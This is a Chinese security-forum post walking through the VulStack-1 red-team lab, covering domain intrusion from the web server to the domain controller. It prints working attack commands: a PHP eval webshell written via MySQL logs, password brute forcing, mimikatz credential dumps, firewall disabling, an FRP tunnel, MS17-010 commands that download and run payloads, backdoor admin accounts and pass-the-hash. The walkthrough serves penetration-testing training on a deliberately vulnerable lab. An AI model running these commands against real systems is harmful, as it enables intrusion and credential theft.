电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 540 人浏览分享

红队实战之VulStack-1

[复制链接]
540 0
本帖最后由 zhaorong 于 2022-5-30 12:01 编辑

红日靶机系列是完全模拟ATT&CK攻击链路来搭建的,通过练习真实的APT实战环境我们可以从
中快速成长。VulStack1 是该系列的第一个靶场,主要涉及信息收集、漏洞利用、CS上线搭建
隧道以及域内渗透等知识。

0x01 靶机环境搭建

靶场中包含三台靶机,具体的网络拓扑图如下

QQ截图20220530100221.png

从上图可知我们需要模拟内网和外网两个网段,因此我们需要在 VMware 中选择虚拟网络
编辑器设置内网网段192.168.52.0/24

QQ截图20220530100258.png

完成后为三台靶机在主机网卡中添加VMnet2,与此同时还需要为 Web 服务器添加桥接网卡作为外网网段。

QQ截图20220530100430.png

三台靶机的默认开机密码都为hongrisec@2019,登录后提示需要修改密码信息因此根据需要我们
将其修改为Mac123456,最终我们的靶机IP分布如下。

QQ截图20220530100623.png

尝试 ping 通各个主机后找到 phpstudy 开启 Web 服务模拟 Web 服务

9999999.png

同时我们需要保持外网,域网络防火墙为未开启状态

99999.png

正常访问站点,说明环境成功搭建完成

299.png

0x02 外网边界突破

信息收集

使用 Nmap 扫描 web 服务器的端口开放情况

nmap -Pn -sV -p- -A 192.168.0.112 --min-rate=1000

298.png

80端口

访问后为 phpStudy 探针,在页面中使用弱口令 root/root 能够成功登录 MySQL 数据库

296.png

使用 dirsearch 对站点进行目录扫描

dirsearch -u http://192.168.0.112 -e *

200.png

成功发现目录phpmyadmin并访问,页面为数据库管理工具 PHPMyAdmin

199.png

使用 dirsearch 继续扫描备份文件

dirsearch -u http://192.168.0.112 -w /usr/local/share/dicts/fuzzD
icts_TheKingOfDuck/directoryDicts/top7000.txt

198.png

成功发现备份文件beifen.rar,解压后发现这是 xycms 的备份源码

197.png

3306端口

尝试使用 hydra 爆破 MySQL 数据库密码,但是目标不允许连接数据库

hydra -L /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/my
sql弱口令/mysql-user.txt -P /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/Se
rviceWeakPass/mysql弱口令/mysql-pass.txt mysql://192.168.0.112 -e nsr -vV

196.png

MySQL日志写入木马

通过弱口令root/root可成功登录 PHPMyAdmin 的后台

100.png

执行SQL语句查看是否存在写入权限,secure_file_priv显示为 NULL

show variables like '%secure_file%';

99.png

如果我们通过into outfile来写入木马,那么由于secure_file_priv的限制会导致这种方案并不可行

select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';

98.png

因此我们需要通过日志来写入木马,尝试开启日志记录

set global general_log = "ON";

97.png

查看日志记录文件

show variables like "general%";

96.png

修改日志记录文件为木马文件

set global general_log_file="C:/phpStudy/www/mac.php";

95.png

写入木马至指定日志记录文件当中

select '<?php eval($_POST["mac"]);?>'

94.png

成功通过蚁剑连接木马文件

93.png

YXCMS后台上传木马

在源码中解压后发现yxcms目录并尝试访问,访问后发现页面为 YXCMS

92.png

由于 YXCMS 的默认后台为index.php?r=admin,我们尝试访问该后台地址

91.png

使用 BurpSuite 截取数据包,复用验证码尝试爆破密码

90.png

成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台

89.png

选择前台模版并在index_index.php插入木马

88.png

保存成功后使用蚁剑连接木马文件

87.png

0x03 内网信息探测

CS上线云服务器

在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS

86.png

在CS中开启 http 监听器并生成利用程序mac1.exe

85.png

上传木马后并在命令行中直接执行

79.png

成功上线cs

69.png

本机基础环境信息收集

减少回连时间为3秒并查看网络连接情况

sleep 3

shell ipconfig

68.png

如果有需要的话可以关闭防火墙

netsh firewall set opmode mode=disable

netsh advfirewall set allprofiles state off

成功发现目标存在两个网段,说明内网网段中可能存在其他主机

192.168.0.0/24

192.168.52.0/24

运行 mimikatz 成功获得管理员密码为Mac123456

logonpasswords

67.png

成功获取用户哈希值

hashdump

66.png

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM

62.png

成功上线 SYSTEM 系统管理员

61.png

内网域环境信息收集

内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式

shell ipconfig /all

60.png

shell net config workstation

59.png

成功探测到当前域名为god.org,接下来需要探索目标存在多少域

shell net view /domain

58.png

结果显示目标只存在GOD域,而WORKGROUP只是工作组而已。然后尝试寻找域控主机名

shell net group "domain controllers" /domain

56.png

结果显示报错RPC 服务器不可用,这是什么原因造成的呢?

原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控

18.png

再次寻找域控并确认域控主机名为OWA

17.png

有了域控主机名以后我们尝试寻找其他域内主机

net view

16.png

shell net group "domain computers" /domain

15.png

至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透

14.png

0x03 内网横向渗透

建立FRP代理隧道

为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。

FRP配置

frps.ini配置:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678

frpc.ini配置:

[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

FRP连接

在云服务器上启动 FRP

./frps -c frps.ini

13.png

上传 FRP 至靶机后查看文件

12.png

在 CS 上启动连接

shell frpc.exe -c frpc.ini

11.png

在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道

vim /usr/local/etc/proxychains.conf

#配置

socks5 x.x.x.x 6000

10.png

使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功

proxychains4 nmap 192.168.52.138 -p 135,445,80

9.png

MSF永恒之蓝漏洞利用

FSCAN漏洞扫描

在 CS 中上传 fsacn 并设置扫描目标

## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143

8.png

使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞

shell fscan64.exe -hf hosts.txt

7.png

域控主机上线CS

在 CS 的会话当中设置新的监听器用于上线内网主机

6.png

需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接

5.png

借用该监听器生成相应木马mac2.exe

4.png

成功将该木马上传至目标的站点目录

3.png

在本地开启 MSF 并设置代理

msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true

2.png

使用 MSF 执行命令上线 CS

msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).Down
loadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run

1.png

域控主机成功上线CS

0.png

域内主机上线CS
在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用
powershell 执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用CS生
成32位木马mac3.exe

00.png

同样地我们将其上传至目标的站点目录

000.png

重新设置命令使用 certutil 下载木马,但是目标返回报错信息

msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run

QQ截图20220530114655.png

那么我们换一种思路,尝试通过永恒之蓝创建管理员账户

net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac

2166666.png

尝试使用新建管理员通过IPC$进行连接,但目标无法连接

shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac

825.png

尝试使用域管理员进行登录,目标连接成功

shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use

419.png

将木马复制到域内主机的C盘目录当中

shell cd .. && copy mac3.exe \\192.168.52.141\c$

222.png

在 MSF 中通过 MS17-010 执行木马

msf > set command "C:\\mac3.exe"
msf > show options
msf > run

221.png

域内主机成功上线CS

220.png

100.png

域管理员凭证传递利用

凭证传递利用原理
通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连
接使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送
因为链接的 Beacon 使用 Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽
绕防火墙时可能发挥奇效。

凭证传递上线CS

在 CS 的会话中建立 SMB 监听器用于快速传递凭证

99.png

在Targets中选择 psexec_psh 传递哈希值

98png.png

选择会话并设置 SMB 监听器

97.png

域控主机成功上线CS

38.png

同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希

36.png

域内主机成功上线CS

30.png

29.png

0x04 靶场学习总结

这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010 漏洞利用也没有采
用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网
渗透思路。当然在练习过程中我也遇到了许多问题,比如 certutil.exe 怎么无法在 Windows Server 2003中传递
保存木马文件、FTP 匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现但它们对渗
透思路的打磨有很大帮助。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.